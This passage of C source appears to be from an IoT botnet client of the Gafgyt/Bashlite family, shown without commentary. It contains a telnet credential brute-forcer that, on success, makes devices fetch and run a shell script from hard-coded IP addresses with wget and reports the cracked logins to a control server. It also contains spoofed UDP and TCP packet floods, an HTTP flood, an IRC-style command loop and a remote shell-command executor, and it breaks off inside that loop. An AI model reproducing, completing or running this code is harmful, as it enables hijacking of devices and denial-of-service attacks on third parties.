  885.                         memset(fds[i].sockbuf, 0, 1024);
  886.                         fds[i].state = 3;
  887.                         continue;
  888.                     } else {
  889.                         fds[i].bufUsed = strlen(fds[i].sockbuf);
  890.                     }
  891.  
  892.                     if(fds[i].totalTimeout + 30 < time(NULL))
  893.                     {
  894.                         sclose(fds[i].fd);
  895.                         fds[i].state = 0;
  896.                         fds[i].complete = 1;
  897.                     }
  898.                 }
  899.                 break;
  900.  
  901.             case 3:
  902.                 {
  903.                     if(send(fds[i].fd, usernames[fds[i].usernameInd], strlen(usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  904.                     if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  905.                     fds[i].state = 4;
  906.                 }
  907.                 break;
  908.  
  909.             case 4:
  910.                 {
  911.                     if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  912.  
  913.                     if(readUntil(fds[i].fd, "assword:", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  914.                     {
  915.                         fds[i].totalTimeout = 0;
  916.                         fds[i].bufUsed = 0;
  917.                         if(strstr(fds[i].sockbuf, "assword:") != NULL) fds[i].state = 5;
  918.                         else fds[i].state = 100;
  919.                         memset(fds[i].sockbuf, 0, 1024);
  920.                         continue;
  921.                     } else {
  922.                         if(strstr(fds[i].sockbuf, "ncorrect") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  923.                         fds[i].bufUsed = strlen(fds[i].sockbuf);
  924.                     }
  925.  
  926.                     if(fds[i].totalTimeout + 30 < time(NULL))
  927.                     {
  928.                         sclose(fds[i].fd);
  929.                         fds[i].state = 0;
  930.                         fds[i].complete = 1;
  931.                     }
  932.                 }
  933.                 break;
  934.  
  935.             case 5:
  936.                 {
  937.                     if(send(fds[i].fd, passwords[fds[i].passwordInd], strlen(passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  938.                     if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  939.                     fds[i].state = 6;
  940.                 }
  941.                 break;
  942.  
  943.             case 6:
  944.                 {
  945.                     if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  946.  
  947.                     if(readUntil(fds[i].fd, "ncorrect", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  948.                     {
  949.                         fds[i].totalTimeout = 0;
  950.                         fds[i].bufUsed = 0;
  951.                         if(strstr(fds[i].sockbuf, "ncorrect") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  952.                         if(!matchPrompt(fds[i].sockbuf)) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  953.                         else fds[i].state = 7;
  954.                         memset(fds[i].sockbuf, 0, 1024);
  955.                         continue;
  956.                     } else {
  957.                         fds[i].bufUsed = strlen(fds[i].sockbuf);
  958.                     }
  959.  
  960.                     if(fds[i].totalTimeout + 30 < time(NULL))
  961.                     {
  962.                         sclose(fds[i].fd);
  963.                         fds[i].state = 0;
  964.                         fds[i].complete = 1;
  965.                     }
  966.                 }
  967.                 break;
  968.  
  969.             case 7:
  970.                 {
  971.                     if(send(fds[i].fd, "sh\r\n", 4, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  972.                     fds[i].state = 8;
  973.                 }
  974.                 break;
  975.            
  976.             case 8:
  977.                 {
  978.                     if(send(fds[i].fd, "cd /tmp; rm -rf *; wget -q http://208.67.1.182/bins.sh; chmod +x bins.sh; sh bins.sh; rm -rf *\r\n", 96, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  979.                     fds[i].state = 9;
  980.                 }
  981.                 break;
  982.  
  983.             case 9:
  984.                 {
  985.                     if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  986.  
  987.                     if(readUntil(fds[i].fd, "gayfgt", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  988.                     {
  989.                         fds[i].totalTimeout = 0;
  990.                         fds[i].bufUsed = 0;
  991.                         if(strstr(fds[i].sockbuf, "multi-call") != NULL) sockprintf(mainCommSock, "REPORT %s:%s:%s", inet_ntoa(*(struct in_addr *)&(fds[i].ip)), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  992.                         memset(fds[i].sockbuf, 0, 1024);
  993.                         sclose(fds[i].fd);
  994.                         fds[i].complete = 1;
  995.                         //fds[i].lastWorked = 1;
  996.                         fds[i].state = 0;
  997.                         continue;
  998.                     } else {
  999.                         fds[i].bufUsed = strlen(fds[i].sockbuf);
  1000.                     }
  1001.  
  1002.                     if(fds[i].totalTimeout + 30 < time(NULL))
  1003.                     {
  1004.                         sclose(fds[i].fd);
  1005.                         fds[i].state = 0;
  1006.                         fds[i].complete = 1;
  1007.                     }
  1008.                 }
  1009.                 break;
  1010.  
  1011.             case 100:
  1012.                 {
  1013.                     if(send(fds[i].fd, "sh\r\n", 4, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  1014.                     fds[i].state = 101;
  1015.                 }
  1016.                 break;
  1017.                
  1018.             case 101:
  1019.                 {
  1020.                     if(send(fds[i].fd, "cd /tmp; rm -rf *; wget -q http://198.20.115.226/bins.sh; chmod +x bins.sh; sh bins.sh; rm -rf *\r\n", 98, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  1021.                     fds[i].state = 102;
  1022.                 }
  1023.                 break;
  1024.  
  1025.             case 102:
  1026.                 {
  1027.                     if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  1028.  
  1029.                     if(readUntil(fds[i].fd, "multi-call", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1030.                     {
  1031.                         fds[i].totalTimeout = 0;
  1032.                         fds[i].bufUsed = 0;
  1033.                         sockprintf(mainCommSock, "REPORT %s:%s:", inet_ntoa(*(struct in_addr *)&(fds[i].ip)), usernames[fds[i].usernameInd]);
  1034.                         sclose(fds[i].fd);
  1035.                         fds[i].state = 0;
  1036.                         memset(fds[i].sockbuf, 0, 1024);
  1037.                         fds[i].complete = 1;
  1038.                         //fds[i].lastWorked = 1;
  1039.                         continue;
  1040.                     } else {
  1041.                         fds[i].bufUsed = strlen(fds[i].sockbuf);
  1042.                     }
  1043.  
  1044.                     if(fds[i].totalTimeout + 30 < time(NULL))
  1045.                     {
  1046.                         sclose(fds[i].fd);
  1047.                         fds[i].state = 0;
  1048.                         fds[i].complete = 1;
  1049.                     }
  1050.                 }
  1051.                 break;
  1052.             }
  1053.         }
  1054.     }
  1055. }
  1056.  
  1057. //          ___  ___     ___ _                 _
  1058. //  /\ /\  /   \/ _ \   / __\ | ___   ___   __| |
  1059. // / / \ \/ /\ / /_)/  / _\ | |/ _ \ / _ \ / _` |
  1060. // \ \_/ / /_// ___/  / /   | | (_) | (_) | (_| |
  1061. //  \___/___,'\/      \/    |_|\___/ \___/ \__,_|
  1062.  
  1063. void sendUDP(unsigned char *target, int port, int timeEnd, int spoofit, int packetsize, int pollinterval)
  1064. {
  1065.         struct sockaddr_in dest_addr;
  1066.  
  1067.         dest_addr.sin_family = AF_INET;
  1068.         if(port == 0) dest_addr.sin_port = rand_cmwc();
  1069.         else dest_addr.sin_port = htons(port);
  1070.         if(getHost(target, &dest_addr.sin_addr)) return;
  1071.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1072.  
  1073.         register unsigned int pollRegister;
  1074.         pollRegister = pollinterval;
  1075.  
  1076.         if(spoofit == 32)
  1077.         {
  1078.                 int sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  1079.                 if(!sockfd)
  1080.                 {
  1081.                         sockprintf(mainCommSock, "Failed opening raw socket.");
  1082.                         return;
  1083.                 }
  1084.  
  1085.                 unsigned char *buf = (unsigned char *)malloc(packetsize + 1);
  1086.                 if(buf == NULL) return;
  1087.                 memset(buf, 0, packetsize + 1);
  1088.                 makeRandomStr(buf, packetsize);
  1089.  
  1090.                 int end = time(NULL) + timeEnd;
  1091.                 register unsigned int i = 0;
  1092.                 while(1)
  1093.                 {
  1094.                         sendto(sockfd, buf, packetsize, 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1095.  
  1096.                         if(i == pollRegister)
  1097.                         {
  1098.                                 if(port == 0) dest_addr.sin_port = rand_cmwc();
  1099.                                 if(time(NULL) > end) break;
  1100.                                 i = 0;
  1101.                                 continue;
  1102.                         }
  1103.                         i++;
  1104.                 }
  1105.         } else {
  1106.                 int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
  1107.                 if(!sockfd)
  1108.                 {
  1109.                         sockprintf(mainCommSock, "Failed opening raw socket.");
  1110.                         //sockprintf(mainCommSock, "REPORT %s:%s:%s", inet_ntoa(*(struct in_addr *)&(fds[i].ip)), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  1111.                         return;
  1112.                 }
  1113.  
  1114.                 int tmp = 1;
  1115.                 if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
  1116.                 {
  1117.                         sockprintf(mainCommSock, "Failed setting raw headers mode.");
  1118.                         return;
  1119.                 }
  1120.  
  1121.                 int counter = 50;
  1122.                 while(counter--)
  1123.                 {
  1124.                         srand(time(NULL) ^ rand_cmwc());
  1125.                         init_rand(rand());
  1126.                 }
  1127.  
  1128.                 in_addr_t netmask;
  1129.  
  1130.                 if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  1131.                 else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  1132.  
  1133.                 unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize];
  1134.                 struct iphdr *iph = (struct iphdr *)packet;
  1135.                 struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
  1136.  
  1137.                 makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_UDP, sizeof(struct udphdr) + packetsize);
  1138.  
  1139.                 udph->len = htons(sizeof(struct udphdr) + packetsize);
  1140.                 udph->source = rand_cmwc();
  1141.                 udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1142.                 udph->check = 0;
  1143.  
  1144.                 makeRandomStr((unsigned char*)(((unsigned char *)udph) + sizeof(struct udphdr)), packetsize);
  1145.  
  1146.                 iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1147.  
  1148.                 int end = time(NULL) + timeEnd;
  1149.                 register unsigned int i = 0;
  1150.                 while(1)
  1151.                 {
  1152.                         sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1153.  
  1154.                         udph->source = rand_cmwc();
  1155.                         udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1156.                         iph->id = rand_cmwc();
  1157.                         iph->saddr = htonl( getRandomIP(netmask) );
  1158.                         iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1159.  
  1160.                         if(i == pollRegister)
  1161.                         {
  1162.                                 if(time(NULL) > end) break;
  1163.                                 i = 0;
  1164.                                 continue;
  1165.                         }
  1166.                         i++;
  1167.                 }
  1168.         }
  1169. }
  1170.  
  1171. //  _____  ___   ___     ___ _                 _
  1172. // /__   \/ __\ / _ \   / __\ | ___   ___   __| |
  1173. //   / /\/ /   / /_)/  / _\ | |/ _ \ / _ \ / _` |
  1174. //  / / / /___/ ___/  / /   | | (_) | (_) | (_| |
  1175. //  \/  \____/\/      \/    |_|\___/ \___/ \__,_|
  1176.  
  1177. void sendTCP(unsigned char *target, int port, int timeEnd, int spoofit, unsigned char *flags, int packetsize, int pollinterval)
  1178. {
  1179.         register unsigned int pollRegister;
  1180.         pollRegister = pollinterval;
  1181.  
  1182.         struct sockaddr_in dest_addr;
  1183.  
  1184.         dest_addr.sin_family = AF_INET;
  1185.         if(port == 0) dest_addr.sin_port = rand_cmwc();
  1186.         else dest_addr.sin_port = htons(port);
  1187.         if(getHost(target, &dest_addr.sin_addr)) return;
  1188.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1189.  
  1190.         int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
  1191.         if(!sockfd)
  1192.         {
  1193.                 sockprintf(mainCommSock, "Failed opening raw socket.");
  1194.                 return;
  1195.         }
  1196.  
  1197.         int tmp = 1;
  1198.         if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
  1199.         {
  1200.                 sockprintf(mainCommSock, "Failed setting raw headers mode.");
  1201.                 return;
  1202.         }
  1203.  
  1204.         in_addr_t netmask;
  1205.  
  1206.         if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  1207.         else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  1208.  
  1209.         unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + packetsize];
  1210.         struct iphdr *iph = (struct iphdr *)packet;
  1211.         struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  1212.  
  1213.         makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_TCP, sizeof(struct tcphdr) + packetsize);
  1214.  
  1215.         tcph->source = rand_cmwc();
  1216.         tcph->seq = rand_cmwc();
  1217.         tcph->ack_seq = 0;
  1218.         tcph->doff = 5;
  1219.  
  1220.         if(!strcmp(flags, "all"))
  1221.         {
  1222.                 tcph->syn = 1;
  1223.                 tcph->rst = 1;
  1224.                 tcph->fin = 1;
  1225.                 tcph->ack = 1;
  1226.                 tcph->psh = 1;
  1227.         } else {
  1228.                 unsigned char *pch = strtok(flags, ",");
  1229.                 while(pch)
  1230.                 {
  1231.                         if(!strcmp(pch,         "syn"))
  1232.                         {
  1233.                                 tcph->syn = 1;
  1234.                         } else if(!strcmp(pch,  "rst"))
  1235.                         {
  1236.                                 tcph->rst = 1;
  1237.                         } else if(!strcmp(pch,  "fin"))
  1238.                         {
  1239.                                 tcph->fin = 1;
  1240.                         } else if(!strcmp(pch,  "ack"))
  1241.                         {
  1242.                                 tcph->ack = 1;
  1243.                         } else if(!strcmp(pch,  "psh"))
  1244.                         {
  1245.                                 tcph->psh = 1;
  1246.                         } else {
  1247.                                 sockprintf(mainCommSock, "Invalid flag \"%s\"", pch);
  1248.                         }
  1249.                         pch = strtok(NULL, ",");
  1250.                 }
  1251.         }
  1252.  
  1253.         tcph->window = rand_cmwc();
  1254.         tcph->check = 0;
  1255.         tcph->urg_ptr = 0;
  1256.         tcph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1257.         tcph->check = tcpcsum(iph, tcph);
  1258.  
  1259.         iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1260.  
  1261.         int end = time(NULL) + timeEnd;
  1262.         register unsigned int i = 0;
  1263.         while(1)
  1264.         {
  1265.                 sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1266.  
  1267.                 iph->saddr = htonl( getRandomIP(netmask) );
  1268.                 iph->id = rand_cmwc();
  1269.                 tcph->seq = rand_cmwc();
  1270.                 tcph->source = rand_cmwc();
  1271.                 tcph->check = 0;
  1272.                 tcph->check = tcpcsum(iph, tcph);
  1273.                 iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1274.  
  1275.                 if(i == pollRegister)
  1276.                 {
  1277.                         if(time(NULL) > end) break;
  1278.                         i = 0;
  1279.                         continue;
  1280.                 }
  1281.                 i++;
  1282.         }
  1283. }
  1284.  
  1285. //    _    _ _______ _______ _____    ______ _      ____   ____  _____  
  1286. //   | |  | |__   __|__   __|  __ \  |  ____| |    / __ \ / __ \|  __ \
  1287. //   | |__| |  | |     | |  | |__) | | |__  | |   | |  | | |  | | |  | |
  1288. //   |  __  |  | |     | |  |  ___/  |  __| | |   | |  | | |  | | |  | |
  1289. //   | |  | |  | |     | |  | |      | |    | |___| |__| | |__| | |__| |
  1290. //   |_|  |_|  |_|     |_|  |_|      |_|    |______\____/ \____/|_____/
  1291. //                                                                      
  1292. //                  
  1293.                                                    
  1294. void sendHTTP(unsigned char *url, int end_time)
  1295. {
  1296.     int end = time(NULL) + end_time;
  1297.     FILE *pf;
  1298.     char command[80];
  1299.     sprintf(command, "wget -O /tmp/fff ");
  1300.     strcat(command, url);
  1301.     strcat(command, " > /dev/null ");
  1302.  
  1303.     pf = popen(command,"r");
  1304.    
  1305.     while(end > time(NULL))
  1306.     {
  1307.         system(command);
  1308.     }
  1309.    
  1310. }
  1311.  
  1312. //   _____  __    ___                _
  1313. //   \_   \/__\  / __\   /\/\   __ _(_)_ __
  1314. //    / /\/ \// / /     /    \ / _` | | '_ \
  1315. // /\/ /_/ _  \/ /___  / /\/\ \ (_| | | | | |
  1316. // \____/\/ \_/\____/  \/    \/\__,_|_|_| |_|
  1317.  
  1318. void processCmd(int argc, unsigned char *argv[])
  1319. {
  1320.     int x;
  1321.         if(!strcmp(argv[0], "PING"))
  1322.         {
  1323.                 sockprintf(mainCommSock, "PONG!");
  1324.                 return;
  1325.         }
  1326.  
  1327.         if(!strcmp(argv[0], "GETLOCALIP"))
  1328.         {
  1329.                 sockprintf(mainCommSock, "My IP: %s", inet_ntoa(ourIP));
  1330.                 return;
  1331.         }
  1332.  
  1333.     if(!strcmp(argv[0], "SCANNER"))
  1334.     {
  1335.         if(argc != 2)
  1336.         {
  1337.             sockprintf(mainCommSock, "SCANNER ON | OFF");
  1338.             return;
  1339.         }
  1340.  
  1341.         if(!strcmp(argv[1], "OFF"))
  1342.         {
  1343.             if(scanPid == 0) return;
  1344.  
  1345.             kill(scanPid, 9);
  1346.             scanPid = 0;
  1347.         }
  1348.  
  1349.         if(!strcmp(argv[1], "ON"))
  1350.         {
  1351.             if(scanPid != 0) return;
  1352.             uint32_t parent;
  1353.             parent = fork();
  1354.             if (parent > 0) { scanPid = parent; return;}
  1355.             else if(parent == -1) return;
  1356.  
  1357.             StartTheLelz();
  1358.             _exit(0);
  1359.         }
  1360.     }
  1361.  
  1362.         if(!strcmp(argv[0], "UDP"))
  1363.         {
  1364.                 if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[5]) == -1 || atoi(argv[5]) > 65500 || atoi(argv[4]) > 32 || (argc == 7 && atoi(argv[6]) < 1))
  1365.                 {
  1366.                         //sockprintf(mainCommSock, "UDP <target> <port (0 for random)> <time> <netmask (32 for non spoofed)> <packet size (1 to 65500)> (time poll interval, default 10)");
  1367.                         return;
  1368.                 }
  1369.  
  1370.                 unsigned char *ip = argv[1];
  1371.                 int port = atoi(argv[2]);
  1372.                 int time = atoi(argv[3]);
  1373.                 int spoofed = atoi(argv[4]);
  1374.                 int packetsize = atoi(argv[5]);
  1375.                 int pollinterval = (argc == 7 ? atoi(argv[6]) : 10);
  1376.  
  1377.                 if(strstr(ip, ",") != NULL)
  1378.                 {
  1379.                         unsigned char *hi = strtok(ip, ",");
  1380.                         while(hi != NULL)
  1381.                         {
  1382.                                 if(!listFork())
  1383.                                 {
  1384.                                         sendUDP(hi, port, time, spoofed, packetsize, pollinterval);
  1385.                                         _exit(0);
  1386.                                 }
  1387.                                 hi = strtok(NULL, ",");
  1388.                         }
  1389.                 } else {
  1390.                         if (listFork()) { return; }
  1391.  
  1392.                         sendUDP(ip, port, time, spoofed, packetsize, pollinterval);
  1393.                         _exit(0);
  1394.                 }
  1395.         }
  1396.  
  1397.         if(!strcmp(argv[0], "TCP"))
  1398.         {
  1399.                 if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[4]) > 32 || (argc > 6 && atoi(argv[6]) < 0) || (argc == 8 && atoi(argv[7]) < 1))
  1400.                 {
  1401.                         //sockprintf(mainCommSock, "TCP <target> <port (0 for random)> <time> <netmask (32 for non spoofed)> <flags (syn, ack, psh, rst, fin, all) comma seperated> (packet size, usually 0) (time poll interval, default 10)");
  1402.                         return;
  1403.                 }
  1404.  
  1405.                 unsigned char *ip = argv[1];
  1406.                 int port = atoi(argv[2]);
  1407.                 int time = atoi(argv[3]);
  1408.                 int spoofed = atoi(argv[4]);
  1409.                 unsigned char *flags = argv[5];
  1410.  
  1411.                 int pollinterval = argc == 8 ? atoi(argv[7]) : 10;
  1412.                 int psize = argc > 6 ? atoi(argv[6]) : 0;
  1413.  
  1414.                 if(strstr(ip, ",") != NULL)
  1415.                 {
  1416.                         unsigned char *hi = strtok(ip, ",");
  1417.                         while(hi != NULL)
  1418.                         {
  1419.                                 if(!listFork())
  1420.                                 {
  1421.                                         sendTCP(hi, port, time, spoofed, flags, psize, pollinterval);
  1422.                                         _exit(0);
  1423.                                 }
  1424.                                 hi = strtok(NULL, ",");
  1425.                         }
  1426.                 } else {
  1427.                         if (listFork()) { return; }
  1428.  
  1429.                         sendTCP(ip, port, time, spoofed, flags, psize, pollinterval);
  1430.                         _exit(0);
  1431.                 }
  1432.         }
  1433.  
  1434. if(!strcmp(argv[0], "HTTP"))
  1435. {
  1436.     if(argc < 3 || atoi(argv[2]) < 1)
  1437.     {
  1438.         //sockprintf(mainCommSock, "HTTP <url> <time>");
  1439.         return;
  1440.     }
  1441.    
  1442.     unsigned char *ip = argv[1];
  1443.     int time = atoi(argv[2]);
  1444.    
  1445.     if(strstr(ip, ",") != NULL)
  1446.     {
  1447.         sockprintf(mainCommSock, "HTTP Flooding %s for %d seconds.", ip, time);
  1448.         unsigned char *hi = strtok(ip, ",");
  1449.         while(hi != NULL)
  1450.         {
  1451.             if(!listFork())
  1452.             {
  1453.                 sendHTTP(ip, time);
  1454.                 close(mainCommSock);
  1455.                 _exit(0);
  1456.             }
  1457.             hi = strtok(NULL, ",");
  1458.         }
  1459.         } else {
  1460.         if (listFork()) { return; }
  1461.        
  1462.         sockprintf(mainCommSock, "HTTP Flooding %s for %d seconds.", ip, time);
  1463.         sendHTTP(ip, time);
  1464.         close(mainCommSock);
  1465.        
  1466.         _exit(0);
  1467.     }
  1468. }
  1469.  
  1470.     if(!strcmp(argv[0], "KILLATTK"))
  1471.         {
  1472.                 int killed = 0;
  1473.                 unsigned long i;
  1474.                 for (i = 0; i < numpids; i++) {
  1475.                         if (pids[i] != 0 && pids[i] != getpid()) {
  1476.                                 kill(pids[i], 9);
  1477.                                 killed++;
  1478.                         }
  1479.                 }
  1480.  
  1481.                 if(killed > 0)
  1482.                 {
  1483.                         //sockprintf(mainCommSock, "Killed %d.", killed);
  1484.                 } else {
  1485.                         //sockprintf(mainCommSock, "None Killed.");
  1486.                 }
  1487.         }
  1488.  
  1489.         if(!strcmp(argv[0], "LOLNOGTFO"))
  1490.         {
  1491.                 exit(0);
  1492.         }
  1493. }
  1494.  
  1495. int initConnection()
  1496. {
  1497.     unsigned char server[512];
  1498.     memset(server, 0, 512);
  1499.     if(mainCommSock) { close(mainCommSock); mainCommSock = 0; } //if da sock initialized then close dat
  1500.     if(currentServer + 1 == SERVER_LIST_SIZE) currentServer = 0;
  1501.     else currentServer++;
  1502.  
  1503.     strcpy(server, commServer[currentServer]);
  1504.     int port = 6667;
  1505.     if(strchr(server, ':') != NULL)
  1506.     {
  1507.         port = atoi(strchr(server, ':') + 1);
  1508.         *((unsigned char *)(strchr(server, ':'))) = 0x0;
  1509.     }
  1510.  
  1511.     mainCommSock = socket(AF_INET, SOCK_STREAM, 0);
  1512.  
  1513.     if(!connectTimeout(mainCommSock, server, port, 30)) return 1;
  1514.  
  1515.     return 0;
  1516. }
  1517.  
  1518. int getOurIP()
  1519. {
  1520.     int sock = socket(AF_INET, SOCK_DGRAM, 0);
  1521.     if(sock == -1) return 0;
  1522.  
  1523.     struct sockaddr_in serv;
  1524.     memset(&serv, 0, sizeof(serv));
  1525.     serv.sin_family = AF_INET;
  1526.     serv.sin_addr.s_addr = inet_addr("8.8.8.8");
  1527.     serv.sin_port = htons(53);
  1528.  
  1529.     int err = connect(sock, (const struct sockaddr*) &serv, sizeof(serv));
  1530.     if(err == -1) return 0;
  1531.  
  1532.     struct sockaddr_in name;
  1533.     socklen_t namelen = sizeof(name);
  1534.     err = getsockname(sock, (struct sockaddr*) &name, &namelen);
  1535.     if(err == -1) return 0;
  1536.  
  1537.     ourIP.s_addr = name.sin_addr.s_addr;
  1538.  
  1539.     int cmdline = open("/proc/net/route", O_RDONLY);
  1540.     char linebuf[4096];
  1541.     while(fdgets(linebuf, 4096, cmdline) != NULL)
  1542.     {
  1543.         if(strstr(linebuf, "\t00000000\t") != NULL)
  1544.         {
  1545.             unsigned char *pos = linebuf;
  1546.             while(*pos != '\t') pos++;
  1547.             *pos = 0;
  1548.             break;
  1549.         }
  1550.         memset(linebuf, 0, 4096);
  1551.     }
  1552.     close(cmdline);
  1553.  
  1554.     if(*linebuf)
  1555.     {
  1556.         int i;
  1557.         struct ifreq ifr;
  1558.         strcpy(ifr.ifr_name, linebuf);
  1559.         ioctl(sock, SIOCGIFHWADDR, &ifr);
  1560.         for (i=0; i<6; i++) macAddress[i] = ((unsigned char*)ifr.ifr_hwaddr.sa_data)[i];
  1561.     }
  1562.  
  1563.     close(sock);
  1564. }
  1565.  
  1566. char *getBuild()
  1567. {
  1568.     #ifdef MIPS_BUILD
  1569.     return "MIPS";
  1570.     #elif MIPSEL_BUILD
  1571.     return "MIPSEL";
  1572.     #elif X86_BUILD
  1573.     return "X86";
  1574.     #elif ARM_BUILD
  1575.     return "ARM";
  1576.     #elif PPC_BUILD
  1577.     return "POWERPC";
  1578.     #else
  1579.     return "UNKNOWN";
  1580.     #endif
  1581. }
  1582.  
  1583. int main(int argc, unsigned char *argv[])
  1584. {
  1585.     if(SERVER_LIST_SIZE <= 0) return 0;
  1586.  
  1587.     srand(time(NULL) ^ getpid());
  1588.     init_rand(time(NULL) ^ getpid());
  1589.  
  1590.     pid_t pid1;
  1591.     pid_t pid2;
  1592.     int status;
  1593.  
  1594.     getOurIP();
  1595.     zprintf("MAC: %02X:%02X:%02X:%02X:%02X:%02X\n", macAddress[0], macAddress[1], macAddress[2], macAddress[3], macAddress[4], macAddress[5]);
  1596.  
  1597.     if (pid1 = fork()) {
  1598.             waitpid(pid1, &status, 0);
  1599.             exit(0);
  1600.     } else if (!pid1) {
  1601.             if (pid2 = fork()) {
  1602.                     exit(0);
  1603.             } else if (!pid2) {
  1604.             } else {
  1605.                     zprintf("fork failed\n");
  1606.             }
  1607.     } else {
  1608.             zprintf("fork failed\n");
  1609.     }
  1610.  
  1611.     setsid();
  1612.     chdir("/");
  1613.  
  1614.     signal(SIGPIPE, SIG_IGN);
  1615.  
  1616.     while(1)
  1617.     {
  1618.         if(initConnection()) { printf("Failed to connect...\n"); sleep(5); continue; }
  1619.  
  1620.         sockprintf(mainCommSock, "BUILD %s", getBuild());
  1621.  
  1622.         char commBuf[4096];
  1623.         int got = 0;
  1624.         int i = 0;
  1625.         while((got = recvLine(mainCommSock, commBuf, 4096)) != -1)
  1626.         {
  1627.             for (i = 0; i < numpids; i++) if (waitpid(pids[i], NULL, WNOHANG) > 0) {
  1628.                 unsigned int *newpids, on;
  1629.                 for (on = i + 1; on < numpids; on++) pids[on-1] = pids[on];
  1630.                 pids[on - 1] = 0;
  1631.                 numpids--;
  1632.                 newpids = (unsigned int*)malloc((numpids + 1) * sizeof(unsigned int));
  1633.                 for (on = 0; on < numpids; on++) newpids[on] = pids[on];
  1634.                 free(pids);
  1635.                 pids = newpids;
  1636.             }
  1637.  
  1638.             commBuf[got] = 0x00;
  1639.  
  1640.             trim(commBuf);
  1641.  
  1642.             if(strstr(commBuf, "PING") == commBuf)
  1643.             {
  1644.                 sockprintf(mainCommSock, "PONG");
  1645.                 continue;
  1646.             }
  1647.  
  1648.             if(strstr(commBuf, "DUP") == commBuf) exit(0);
  1649.  
  1650.             unsigned char *message = commBuf;
  1651.  
  1652.             if(*message == '!')
  1653.             {
  1654.                 unsigned char *nickMask = message + 1;
  1655.                 while(*nickMask != ' ' && *nickMask != 0x00) nickMask++;
  1656.                 if(*nickMask == 0x00) continue;
  1657.                 *(nickMask) = 0x00;
  1658.                 nickMask = message + 1;
  1659.  
  1660.                 message = message + strlen(nickMask) + 2;
  1661.                 while(message[strlen(message) - 1] == '\n' || message[strlen(message) - 1] == '\r') message[strlen(message) - 1] = 0x00;
  1662.  
  1663.                 unsigned char *command = message;
  1664.                 while(*message != ' ' && *message != 0x00) message++;
  1665.                 *message = 0x00;
  1666.                 message++;
  1667.  
  1668.                 unsigned char *tmpcommand = command;
  1669.                 while(*tmpcommand) { *tmpcommand = toupper(*tmpcommand); tmpcommand++; }
  1670.  
  1671.                 if(strcmp(command, "SH") == 0)
  1672.                 {
  1673.                     unsigned char buf[1024];
  1674.                     int command;
  1675.                     if (listFork()) continue;
  1676.                     memset(buf, 0, 1024);
  1677.                     szprintf(buf, "%s 2>&1", message);
  1678.                     command = fdpopen(buf, "r");
  1679.                     while(fdgets(buf, 1024, command) != NULL)
  1680.                     {
  1681.                         trim(buf);
  1682.                         sockprintf(mainCommSock, "%s", buf);
  1683.                         memset(buf, 0, 1024);
  1684.                         sleep(1);
  1685.                     }
